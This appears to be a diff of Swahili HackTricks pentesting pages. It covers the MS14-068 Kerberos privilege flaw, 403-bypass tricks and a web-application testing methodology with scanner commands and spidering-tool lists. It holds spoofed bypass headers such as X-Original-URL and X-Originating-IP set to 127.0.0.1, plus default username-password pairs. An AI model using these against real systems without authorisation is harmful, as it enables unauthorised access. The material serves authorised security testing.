Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai kwa uwongo mamlaka ya juu, kama vile kuwa Msimamizi wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Kituo cha Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://adsecurity.org/?p=541
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Mizengwe mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
 | 
			
		||||
Mifano mingine: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
 | 
			
		||||
 | 
			
		||||
## HackTricks Amri za Otomatiki
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -8,12 +8,12 @@ Jaribu kutumia **vitenzi tofauti** kufikia faili: `GET, HEAD, POST, PUT, DELETE,
 | 
			
		||||
 | 
			
		||||
- Angalia vichwa vya majibu, labda taarifa fulani zinaweza kutolewa. Kwa mfano, **jibu la 200** kwa **HEAD** lenye `Content-Length: 55` lina maana kwamba **kitenzi cha HEAD kinaweza kufikia taarifa**. Lakini bado unahitaji kupata njia ya kuhamasisha taarifa hiyo.
 | 
			
		||||
- Kutumia kichwa cha HTTP kama `X-HTTP-Method-Override: PUT` kunaweza kubadilisha kitenzi kilichotumika.
 | 
			
		||||
- Tumia **`TRACE`** kitenzi na ikiwa uko na bahati kubwa labda katika jibu unaweza pia kuona **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
 | 
			
		||||
- Tumia **`TRACE`** kitenzi na ikiwa una bahati sana labda katika jibu unaweza kuona pia **vichwa vilivyoongezwa na proxies za kati** ambavyo vinaweza kuwa na manufaa.
 | 
			
		||||
 | 
			
		||||
## HTTP Headers Fuzzing
 | 
			
		||||
 | 
			
		||||
- **Badilisha kichwa cha Host** kuwa thamani yoyote ([ambayo ilifanya kazi hapa](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 | 
			
		||||
- Jaribu [**kutumia User Agents wengine**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali.
 | 
			
		||||
- Jaribu [**kutumia Wakala wengine wa Mtumiaji**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kufikia rasilimali.
 | 
			
		||||
- **Fuzz HTTP Headers**: Jaribu kutumia HTTP Proxy **Headers**, HTTP Authentication Basic na NTLM brute-force (kwa mchanganyiko machache tu) na mbinu nyingine. Ili kufanya yote haya nimeunda zana [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 | 
			
		||||
 | 
			
		||||
- `X-Originating-IP: 127.0.0.1`
 | 
			
		||||
@ -35,7 +35,7 @@ Ikiwa **njia imekingwa** unaweza kujaribu kupita ulinzi wa njia hiyo kwa kutumia
 | 
			
		||||
- `X-Original-URL: /admin/console`
 | 
			
		||||
- `X-Rewrite-URL: /admin/console`
 | 
			
		||||
 | 
			
		||||
- Ikiwa ukurasa uko **nyuma ya proxy**, labda ni proxy inayokuzuia kufikia taarifa za kibinafsi. Jaribu kutumia [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **au** [**vichwa vya hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 | 
			
		||||
- Ikiwa ukurasa uko **nyuma ya proxy**, labda ni proxy inayokuzuia kufikia taarifa za kibinafsi. Jaribu kutumia [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **au** [**vichwa vya hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 | 
			
		||||
- Fuzz [**vichwa maalum vya HTTP**](special-http-headers.md) ukitafuta majibu tofauti.
 | 
			
		||||
- **Fuzz vichwa maalum vya HTTP** wakati wa fuzzing **HTTP Methods**.
 | 
			
		||||
- **Ondoa kichwa cha Host** na labda utaweza kupita ulinzi.
 | 
			
		||||
@ -105,7 +105,7 @@ root     toor
 | 
			
		||||
test     test
 | 
			
		||||
guest    guest
 | 
			
		||||
```
 | 
			
		||||
## Zana za Otomatiki
 | 
			
		||||
## Vifaa vya Otomatiki
 | 
			
		||||
 | 
			
		||||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
 | 
			
		||||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
 | 
			
		||||
 | 
			
		||||
@ -4,9 +4,9 @@
 | 
			
		||||
 | 
			
		||||
## Basic Info
 | 
			
		||||
 | 
			
		||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za tofauti za udhaifu** zipo.
 | 
			
		||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi za **vulnerabilities tofauti** zipo.
 | 
			
		||||
 | 
			
		||||
**Bandari ya kawaida:** 80 (HTTP), 443(HTTPS)
 | 
			
		||||
**Port ya default:** 80 (HTTP), 443(HTTPS)
 | 
			
		||||
```bash
 | 
			
		||||
PORT    STATE SERVICE
 | 
			
		||||
80/tcp  open  http
 | 
			
		||||
@ -17,37 +17,37 @@ PORT    STATE SERVICE
 | 
			
		||||
nc -v domain.com 80 # GET / HTTP/1.0
 | 
			
		||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 | 
			
		||||
```
 | 
			
		||||
### Mwongozo wa Web API
 | 
			
		||||
### Web API Guidance
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
web-api-pentesting.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Muhtasari wa Mbinu
 | 
			
		||||
## Methodology summary
 | 
			
		||||
 | 
			
		||||
> Katika mbinu hii tutadhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
 | 
			
		||||
> Katika mbinu hii tunaenda kudhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
 | 
			
		||||
 | 
			
		||||
- [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
 | 
			
		||||
- [ ] Je, kuna **udhaifu unaojulikana** wa toleo la teknolojia hiyo?
 | 
			
		||||
- [ ] Unatumia **teknolojia maarufu**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
 | 
			
		||||
- [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
 | 
			
		||||
- [ ] Zindua **scanner za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
 | 
			
		||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skani** (ikiwa HTTPS).
 | 
			
		||||
- [ ] Je, kuna **udhaifu** wowote unaojulikana wa toleo la teknolojia hiyo?
 | 
			
		||||
- [ ] Unatumia **teknolojia maarufu** yoyote? Je, kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi?
 | 
			
		||||
- [ ] Je, kuna **scanner maalum** yoyote ya kukimbia (kama wpscan)?
 | 
			
		||||
- [ ] Uzindua **scanners za matumizi ya jumla**. Hujui kamwe kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
 | 
			
		||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** makosa na **SSL/TLS scan** (ikiwa HTTPS).
 | 
			
		||||
- [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
 | 
			
		||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
 | 
			
		||||
- [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
 | 
			
		||||
- [ ] **Directory Brute-Forcing**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
 | 
			
		||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
 | 
			
		||||
- [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala.
 | 
			
		||||
- [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
 | 
			
		||||
- [ ] **Kuangalia nakala za akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za akiba.
 | 
			
		||||
- [ ] **Brute-Force parameters**: Jaribu **kupata parameta zilizofichwa**.
 | 
			
		||||
- [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo.
 | 
			
		||||
- [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
 | 
			
		||||
 | 
			
		||||
## Toleo la Seva (Lina Udhihirisho?)
 | 
			
		||||
## Server Version (Vulnerable?)
 | 
			
		||||
 | 
			
		||||
### Tambua
 | 
			
		||||
### Identify
 | 
			
		||||
 | 
			
		||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
 | 
			
		||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap skani** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
 | 
			
		||||
**HTTP headers na cookies za jibu** zinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini inaweza pia kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
 | 
			
		||||
```bash
 | 
			
		||||
whatweb -a 1 <URL> #Stealthy
 | 
			
		||||
whatweb -a 3 <URL> #Aggresive
 | 
			
		||||
@ -56,22 +56,22 @@ webanalyze -host https://google.com -crawl 2
 | 
			
		||||
```
 | 
			
		||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 | 
			
		||||
 | 
			
		||||
### **Angalia kama kuna WAF yoyote**
 | 
			
		||||
### **Check if any WAF**
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 | 
			
		||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 | 
			
		||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 | 
			
		||||
 | 
			
		||||
### Hila za teknolojia za wavuti
 | 
			
		||||
### Web tech tricks
 | 
			
		||||
 | 
			
		||||
Hizi ni **hila** za **kupata udhaifu** katika **teknolojia** tofauti maarufu zinazotumika:
 | 
			
		||||
Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maarufu zinazotumika:
 | 
			
		||||
 | 
			
		||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 | 
			
		||||
- [**Apache**](apache.md)
 | 
			
		||||
- [**Artifactory**](artifactory-hacking-guide.md)
 | 
			
		||||
- [**Buckets**](buckets/)
 | 
			
		||||
- [**Buckets**](buckets/index.html)
 | 
			
		||||
- [**CGI**](cgi.md)
 | 
			
		||||
- [**Drupal**](drupal/)
 | 
			
		||||
- [**Drupal**](drupal/index.html)
 | 
			
		||||
- [**Flask**](flask.md)
 | 
			
		||||
- [**Git**](git.md)
 | 
			
		||||
- [**Golang**](golang.md)
 | 
			
		||||
@ -86,39 +86,39 @@ Hizi ni **hila** za **kupata udhaifu** katika **teknolojia** tofauti maarufu zin
 | 
			
		||||
- [**Laravel**](laravel.md)
 | 
			
		||||
- [**Moodle**](moodle.md)
 | 
			
		||||
- [**Nginx**](nginx.md)
 | 
			
		||||
- [**PHP (php ina hila nyingi za kuvutia ambazo zinaweza kutumika)**](php-tricks-esp/)
 | 
			
		||||
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
 | 
			
		||||
- [**Python**](python.md)
 | 
			
		||||
- [**Spring Actuators**](spring-actuators.md)
 | 
			
		||||
- [**Symphony**](symphony.md)
 | 
			
		||||
- [**Tomcat**](tomcat/)
 | 
			
		||||
- [**Tomcat**](tomcat/index.html)
 | 
			
		||||
- [**VMWare**](vmware-esx-vcenter....md)
 | 
			
		||||
- [**Web API Pentesting**](web-api-pentesting.md)
 | 
			
		||||
- [**WebDav**](put-method-webdav.md)
 | 
			
		||||
- [**Werkzeug**](werkzeug.md)
 | 
			
		||||
- [**Wordpress**](wordpress.md)
 | 
			
		||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
 | 
			
		||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 | 
			
		||||
 | 
			
		||||
_Kumbuka kwamba **domeni moja** inaweza kutumia **teknolojia tofauti** katika **port** tofauti, **folda** na **subdomains**._\
 | 
			
		||||
Ikiwa programu ya wavuti inatumia **teknolojia/platform maarufu zilizoorodheshwa hapo awali** au **zingine yoyote**, usisahau **kutafuta mtandaoni** hila mpya (na unijulishe!).
 | 
			
		||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
 | 
			
		||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
 | 
			
		||||
 | 
			
		||||
### Mapitio ya Msimbo wa Chanzo
 | 
			
		||||
### Source Code Review
 | 
			
		||||
 | 
			
		||||
Ikiwa **msimbo wa chanzo** wa programu upo katika **github**, mbali na kufanya **mtihani wa White box** wa programu hiyo kuna **taarifa fulani** ambazo zinaweza kuwa **za manufaa** kwa **mtihani wa Black-Box** wa sasa:
 | 
			
		||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **mtihani wa White box** wa programu hiyo kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
 | 
			
		||||
 | 
			
		||||
- Je, kuna **Faili ya Mabadiliko au Readme au Toleo** au chochote chenye **taarifa za toleo zinazopatikana** kupitia wavuti?
 | 
			
		||||
- Je, ni vipi na wapi **nyaraka** zinahifadhiwa? Je, kuna **faili** yoyote (inayopatikana?) yenye nyaraka (majina ya watumiaji au nywila)?
 | 
			
		||||
- Je, **nywila** ziko katika **maandishi ya wazi**, **zilizofichwa** au ni **algorithms gani za hashing** zinazotumika?
 | 
			
		||||
- Je, inatumia **funguo kuu** yoyote kwa ajili ya kuficha kitu? Ni **algorithms gani** zinazotumika?
 | 
			
		||||
- Je, unaweza **kufikia yoyote ya hizi faili** kwa kutumia udhaifu fulani?
 | 
			
		||||
- Je, kuna **taarifa ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **historia ya commit** (labda **nywila iliyoingizwa ndani ya commit ya zamani**)?
 | 
			
		||||
- Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
 | 
			
		||||
- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** yoyote (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)?
 | 
			
		||||
- Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
 | 
			
		||||
- Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
 | 
			
		||||
- Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
 | 
			
		||||
- Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
code-review-tools.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Scanner za Kiotomatiki
 | 
			
		||||
### Automatic scanners
 | 
			
		||||
 | 
			
		||||
#### Scanner za kiotomatiki za kusudi la jumla
 | 
			
		||||
#### General purpose automatic scanners
 | 
			
		||||
```bash
 | 
			
		||||
nikto -h <URL>
 | 
			
		||||
whatweb -a 4 <URL>
 | 
			
		||||
@ -132,22 +132,22 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 | 
			
		||||
```
 | 
			
		||||
#### CMS scanners
 | 
			
		||||
 | 
			
		||||
Ikiwa CMS inatumika usisahau **kuendesha skana**, labda kitu kizuri kinaweza kupatikana:
 | 
			
		||||
Ikiwa CMS inatumika usisahau **kufanya skana**, labda kitu cha kuvutia kitatokea:
 | 
			
		||||
 | 
			
		||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
 | 
			
		||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** tovuti za masuala ya Usalama. (GUI)\
 | 
			
		||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
 | 
			
		||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **au** [**(M)oodle**](moodle.md)\
 | 
			
		||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 | 
			
		||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
 | 
			
		||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** tovuti za masuala ya Usalama. (GUI)\
 | 
			
		||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 | 
			
		||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **au** [**(M)oodle**](moodle.md)\
 | 
			
		||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 | 
			
		||||
```bash
 | 
			
		||||
cmsmap [-f W] -F -d <URL>
 | 
			
		||||
wpscan --force update -e --url <URL>
 | 
			
		||||
joomscan --ec -u <URL>
 | 
			
		||||
joomlavs.rb #https://github.com/rastating/joomlavs
 | 
			
		||||
```
 | 
			
		||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na ukafanya skana.
 | 
			
		||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
 | 
			
		||||
 | 
			
		||||
## Ugunduzi wa Programu za Wavuti Hatua kwa Hatua
 | 
			
		||||
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
 | 
			
		||||
 | 
			
		||||
> Kutoka hapa tutaanza kuingiliana na programu ya wavuti.
 | 
			
		||||
 | 
			
		||||
@ -166,17 +166,17 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 | 
			
		||||
 | 
			
		||||
Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data za ajabu zinatumwa kwao. Hii inaweza kufungua **vulnerabilities** au **kufichua taarifa nyeti**.
 | 
			
		||||
 | 
			
		||||
- Fikia **kurasa za uongo** kama /whatever_fake.php (.aspx,.html,.n.k)
 | 
			
		||||
- Fikia **kurasa za uwongo** kama /whatever_fake.php (.aspx,.html,.n.k)
 | 
			
		||||
- **Ongeza "\[]", "]]", na "\[\["** katika **maadili ya cookie** na **maadili ya parameter** ili kuunda makosa
 | 
			
		||||
- Tengeneza kosa kwa kutoa ingizo kama **`/~randomthing/%s`** kwenye **mwisho** wa **URL**
 | 
			
		||||
- Jaribu **HTTP Verbs tofauti** kama PATCH, DEBUG au makosa kama FAKE
 | 
			
		||||
 | 
			
		||||
#### **Angalia ikiwa unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 | 
			
		||||
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** kwenye folda ya mzizi jaribu:
 | 
			
		||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa za kutosha za **kupakia faili** kwenye folda ya mzizi jaribu:
 | 
			
		||||
 | 
			
		||||
- **Brute Force** akreditif
 | 
			
		||||
- **Pakia faili** kupitia WebDav kwenye **sehemu** za **zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
 | 
			
		||||
- **Brute Force** akidi
 | 
			
		||||
- **Pakia faili** kupitia WebDav kwenye **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
 | 
			
		||||
 | 
			
		||||
### **Vulnerabilities za SSL/TLS**
 | 
			
		||||
 | 
			
		||||
@ -194,26 +194,151 @@ sslyze --regular <ip:port>
 | 
			
		||||
```
 | 
			
		||||
Habari kuhusu SSL/TLS udhaifu:
 | 
			
		||||
 | 
			
		||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 | 
			
		||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 | 
			
		||||
 | 
			
		||||
### Spidering
 | 
			
		||||
 | 
			
		||||
zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Kwa hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
 | 
			
		||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Kwa hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
 | 
			
		||||
 | 
			
		||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 | 
			
		||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
 | 
			
		||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juisi".
 | 
			
		||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org
 | 
			
		||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
 | 
			
		||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kutafsiri JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajitengeneza.
 | 
			
		||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
 | 
			
		||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni skripti itakayopata URLs zenye parameta na kuziorodhesha.
 | 
			
		||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kutafsiri JS.
 | 
			
		||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
 | 
			
		||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na ninjas wa infosec.
 | 
			
		||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 inayotumia Tornado na JSBeautifier kutafsiri URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
 | 
			
		||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida kutafuta na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
 | 
			
		||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
 | 
			
		||||
- [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
 | 
			
		||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
 | 
			
		||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
 | 
			
		||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
 | 
			
		||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakuletea msimbo wa JS ulioimarishwa.
 | 
			
		||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
 | 
			
		||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
 | 
			
		||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
 | 
			
		||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa wataalamu wa usalama wa mtandao.
 | 
			
		||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) cha kutoa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
 | 
			
		||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** kutolewa **parameta na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
 | 
			
		||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
 | 
			
		||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
 | 
			
		||||
 | 
			
		||||
### Brute Force directories and files
 | 
			
		||||
 | 
			
		||||
